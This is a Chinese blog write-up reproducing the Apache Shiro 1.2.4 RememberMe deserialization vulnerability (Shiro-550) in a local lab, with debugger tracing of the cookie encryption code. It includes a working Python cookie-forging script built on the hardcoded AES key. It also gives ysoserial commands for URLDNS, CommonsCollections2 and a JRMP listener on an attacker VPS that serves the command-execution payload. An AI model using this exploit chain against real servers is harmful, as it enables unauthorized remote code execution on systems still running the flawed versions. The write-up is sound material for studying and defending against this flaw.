Shiro反序列化
Shiro漏洞复盘系列--1.2.4版本产生的反序列化安全问题。(Shiro-550)
# 介绍
Shiro对于RememberMe Cookie的处理方式如下:
- 检索该Cookie的值
- Base64解码
- AES解密
- 使用Java中原生的
ObjectInputStream
反序列化
Shiro1.2.4版本及以下的AES的key是硬编码在其中的,org.apache.shiro.mgt.AbsetractRememberMeManager
:
解密AES算法还需要两个要素:
- mode(加解密算法)
- IV(初始化向量)
如果可以再确定以上两者,则可以通过构造Cookie的值从而触发反序列化Gadget(Shiro-550)。
# 环境搭建
下载Shiro1.2.4版本:
git clone https://github.com/apache/shiro.git
cd shiro
git checkout shiro-root-1.2.4
编辑shiro\samples\web\pom.xml
文件,修改jtsl
版本为1.2并且加入commons-collections4
依赖:
jstl
是为了正确识别JSP标签commons-collections4
是为了方便后续漏洞复现
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
用IDEA导入shiro\samples\web\pom.xml
项目,然后等待依赖下载,然后执行mvn install
,如果出现以下错误,则需要额外在你的./m2
文件夹下创建toolchains.xml
,然后写入以下内容:
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<!--插入下面代码-->
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<!--这里是你安装jdk的文件目录-->
<jdkHome>{Your_Path}/1.6.0.jdk/</jdkHome>
</configuration>
</toolchain>
</toolchains>
之后就是添加Tomcat并且配置Artifact
,不再赘述,环境搭建成功之后的页面:
# 调试分析
# 序列化加密过程
登录时勾选Remember Me
:
登录成功后就会在Cookie中发现rememberMe
字段:
在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin
打下断点,发送登录请求,开始调试:
如果勾选了RememberMe功能,则会进入remembertIdentity
方法中:
getIndentityToRemember
方法会将用户的身份信息封装成一个对象,之后传入rememberIdentity
方法:
convertPrincipalsToBytes
方法会将之前得到包含用户信息的对象转化成一个bytes数组类型的对象,我们跟入该方法:
可以看到,先将principals
对象进行序列化,之后再调用encrypt
方法进行加密,先跟入serialize
方法,可以看到Shiro是采用了Java中原生的ObjectOutputStream#writeObject
方法进行序列化的,之后返回序列化信息的bytes数组对象:
这个bytes数组对象会传入到encrypt
方法中去,接着跟进encrypt
方法:
通过getCipherService
方法可以获取到一个用于加密的CipherService
接口对象,这个对象是在当前类的构造方法中就完成初始化了的:
AesCipherService
间接实现了CipherService
接口,并且如果再跟进的话,可以发现AesCipherService
也是调用了父类的构造方法进行初始化,确定了加密方式以及mode:
同样在Debug控制台也可以获取到对应的信息:
回到encrypt
方法中来,接着跟进cipherService#encrypt
,这里传入的第一个参数就是序列化之后的bytes数组,第二个参数就是之前提到的硬编码的AES-Key:
通过generateInitializationVector
方法获取到的其实是一个长度为16的随机字节数组,一路跟入到org.apache.shiro.crypto.JcaCipherService#generateInitializationVector
:
通过SecureRandom
来生成随机数,然后写入到长度为16的字节数组中,这个数组就是AES的初始化向量(IV),随后被传入encrypt
方法中去:
org.apache.shiro.crypto.JcaCipherService#encrypt
:
在第324行中的crypt
方法把序列化数据、AES-Key、IV、MODE传入方法,进行AES加密,之后再把十六字节的IV和加密后的密文encrypted
进行数组的拼接:
最后一路返回到org.apache.shiro.mgt.AbstractRememberMeManager#encrypt
方法中,经上面分析可知,最好加密的结果为十六字节的IV
+ AES密文
:
再返回到remembertIdentity
方法中,将加密完成后的整段密文传入rememberSerializedIdentity
方法中:
跟入rememberSerializedIdentity
方法中,会把Base64编码之后的密文放入Cookie中:
# 反序列化解密过程
发送只有RememberMe Cookie的请求,在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity
方法中打下断点:
Cookie等信息都封装在subjectContext
对象之中,跟入rmm.getRememberedPrincipals
方法:
接着跟入getRememberedSerializedIdentity
方法,在这个方法中会把请求中携带的Cookie信息提取出来进行Base64解码,然后返回解码之后的bytes数组对象:
返回之后回到getRememberedPrincipals
方法中,接着跟入convertBytesToPrincipals
方法,这个方法中会把上一步得到的bytes数组进行解密,然后进行反序列化:
跟入decrypt
方法,整个流程就类似与序列化加密的过程,在获取到解密对象之后把加密的bytes数组和硬编码的AES-Key进行解密:
跟入cipherService.decrypt
方法,这个方法中会把前十六位的IV提取出来,之后用AES-Key进行解密:
解密之后的数据回到convertBytesToPrincipals
方法中,传入deserialize
方法:
跟入该方法,可以发现采用了原生ObjectInputStream#readObject
方法来进行反序列化数据:
# AES-CBC安全性
# Cookie解密
由关于AES加解密中CBC模式的IV初始化向量的安全性问题 (opens new window)这篇文章可以认识到,CBC解密的时候如果IV向量错误,只会影响第一个块的数据解密结果,而之后其他块的IV则是上一个块的加密数据。
在Shiro的RememberMe数据的第一个块就是IV向量,所以使用一个错误的IV向量来对Cookie进行解密,只会让正确的IV的解密错误,而不影响真正数据的解密结果。
# python2
import sys
import base64
from Crypto.Cipher import AES
key = "kPH+bIxk5D2deZiIxcaaaA=="
MODE = AES.MODE_CBC
IV = b' ' * 16
encryptor = AES.new(base64.b64decode(key), MODE, IV)
# cookie = "Cug6rRUP6+Nxy/zupy8zen+Npa0r/TCD5Cy40XjwlKsVUp91QqDOrGnt7KNbkUZPCG8+s780xNbX3qsy92Kjwv9RoDpZlrnbE7yBAL70bl5q0nShc/CmJeNbP/9ybToxM1cvY4UCpaLKwdourjzxCr6EvjFjtuAunpsRBBThSjIPKS6qyZj08ZY95LDA0WdSnRrDx/rCw12YgskcUIlstpPc7MPLRVjSWJ1ghIg7lXXVDLt0GeoGhsYp0kX2aANjOi3bfFv73Wuj49f5OxnLE3LrMskRI+GsynCjmZJLKb88Sjz7nByIMhZwvoCc6fmEZQyjOgnJFGlps3T+FfLkTcyoE1kvCNFfGnBLlX7TVbjo0ySB7k+6vYaQHny2yv1gZ8DyUq3+wbiIleI/RjDoHP07yiCRJHWT23/4AoYSyQAMAauW2E6Fw2/Mu+Ac3/qWLZ7LNOetqargbLwBbKc3uJJoG9Kb4KwjRjj7jmKh4GIIcRk5CujpBaiOKHfOIM/S"
print encryptor.decrypt(base64.b64decode(sys.argv[1]))
# Cookie伪造
同理,在Cookie伪造的时候使用随机十六位IV就可以:
# python2
import sys
import base64
import uuid
from Crypto.Cipher import AES
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
IV = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)
payload = base64.b64decode(sys.argv[1])
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload = pad(payload)
print(base64.b64encode(IV + encryptor.encrypt(payload)))
# 测试Gadget
# URLDNS
URLDNS这条Gadget不需要其他依赖支持,一般用来测试target是否存在反序列化漏洞。
使用ysoserial生成序列化数据:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://b8ftn5.dnslog.cn" |base64 |sed ':label;N;s/\n//;b label'
再使用Cookie伪造脚本进行伪造:
然后发送Cookie:
收到了DNS查询请求,URLDNS Gadget验证成功,确实存在Java反序列化漏洞。
# CC2
为了方便复现,之前本地添加了commons-collections4
的依赖,而CC2这条Gadget完全依赖于commons-collections4
,所以可以用CC2生成payload来测试,本地环境如下:
- JDK 8u281
- Tomcat 9.0.44
生成序列化数据:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc" |base64 |sed ':label;N;s/\n//;b label'
伪造Cookie:
发送请求:
# JRMP
使用mvn dependency:list
命令可以查看Shiro中的依赖项,可以发现有commons-collections 3.2.1
的依赖:
但是尝试直接用ysoserial中的CC6这条Gadget生成的payload直接打的话并不能成功,而是会产生以下错误:
参考Go low – Exploiting JVM deserialization vulns despite a broken class loader (kapsi.fi) (opens new window)可知Shiro使用的ClassLoader不允许加载任何数组类型的对象,但是ysoserial中大多数的Gadget都依赖于下面两个类:
ChainedTransformer:内部有一个数组类型的对象iTransformers
,用于进行链式调用。InvokerTransformer:内部传递给待调用的方法的参数是一个数组,但是如果方法的参数为空,则不影响使用。
【已更新!】:真实原因并不是如上所述那么简单,详细原因见下面两篇文章:
- 强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考 - zsx's Blog (zsxsoft.com) (opens new window)
- Shiro 1.2.4 RememberMe反序列化漏洞踩坑分析(CVE-2016-4437) | Rai4over's Blog (opens new window)
简言之,是因为Tomcat类加载(classpath)的问题,导致了无法加载除Java本身自带的数组。
解决这个问题的方法是使用JRMP,在VPS上执行下面的命令,监听端口,这里先用CC2 Gadget来测试:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections2 'calc'
使用ysoserial生成序列化数据,并伪造Cookie:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "{VPS_IP}:12345"|base64 |sed ':label;N;s/\n//;b label'
···
py -2 AES-en.py {$ser_data}
本地使用JDK8u281测试JRMP失败,于是我换成了JDK1.7,同时由于Tomcat9不支持Java7,所以更换为Tomcat8:
- JDK 1.7
- Tomcat 8.5.64
发送含有伪造的Cookie的请求,测试成功:
因为我们之前手动添加了commons-collections4
的依赖,所以这里使用CC2 Gadget可以成功执行命令,但是如果换成CC6 Gadget,虽然我们之前提到Shiro中含有commons-collections 3.2.1
的依赖,但是本地测试并没有成功执行命令:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 "calc"
参考李三师傅的文章[shiro 反序列化复现 - 李三的剑谱](http://redteam.today/2019/09/20/shiro 反序列化复现/)可以知道,Shiro中的commons-collections 3.2.1
依赖为test
,而打包成war
包的时候只会把compile
和runtime
的依赖打包,而test
的依赖是在开发阶段使用的,也就是说实际运行环境中并没有commons-collections 3.2.1
的依赖,原文如下:
然而本地测试的时候并未复现中,应该是gadget的问题,因为在加了commons-conllections4.0的环境用ysoserial的CommonsCollections2就可以成功。难道是环境没装好?
后来仔细看了一下,确实是环境的问题,具体原因是打包成war的时候只会把compile和runtime的打包,而test的属于开发阶段需要使用的,从而不会打进去,而这里common-conllectons恰好属于test。所以生成环境中根本没有common-conllectons,因此是不可能打成功的。
所以我们手动添加commons-collections 3.2.1
的依赖,让其为compile
:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
然后再次测试:
mvn clean install
······
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "{VPS_IP}:12345"|base64 |sed ':label;N;s/\n//;b label'
py -2 AES-en.py {$ser_data}
······
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections6 "calc"
再手动添加了commons-collections 3.2.1
依赖之后,这次测试成功了。
正如李三师傅所说:
纯原生的shiro只是一个反序列化的触发点,没有完整gadget。因此需要结合其它依赖shiro的项目才有可能达到RCE的效果(比如jeecms)
# Reference
感谢几位师傅详尽的分析文章,让我这个菜鸡少踩了一些坑:
笑师傅:Shiro 1.2.4 反序列化漏洞 | l3yx's blog (opens new window)
李三师傅:[shiro 反序列化复现 - 李三的剑谱](http://redteam.today/2019/09/20/shiro 反序列化复现/)
Apache Shiro Java反序列化漏洞分析 - 贫民窟的艺术家 (joychou.org) (opens new window)
关于AES加解密中CBC模式的IV初始化向量的安全性问题 - 简书 (jianshu.com) (opens new window)
https://issues.apache.org/jira/browse/SHIRO-550
- 02
- CommonsBeanUtils04-19
- 03
- 基于Tomcat全局存储进行回显04-16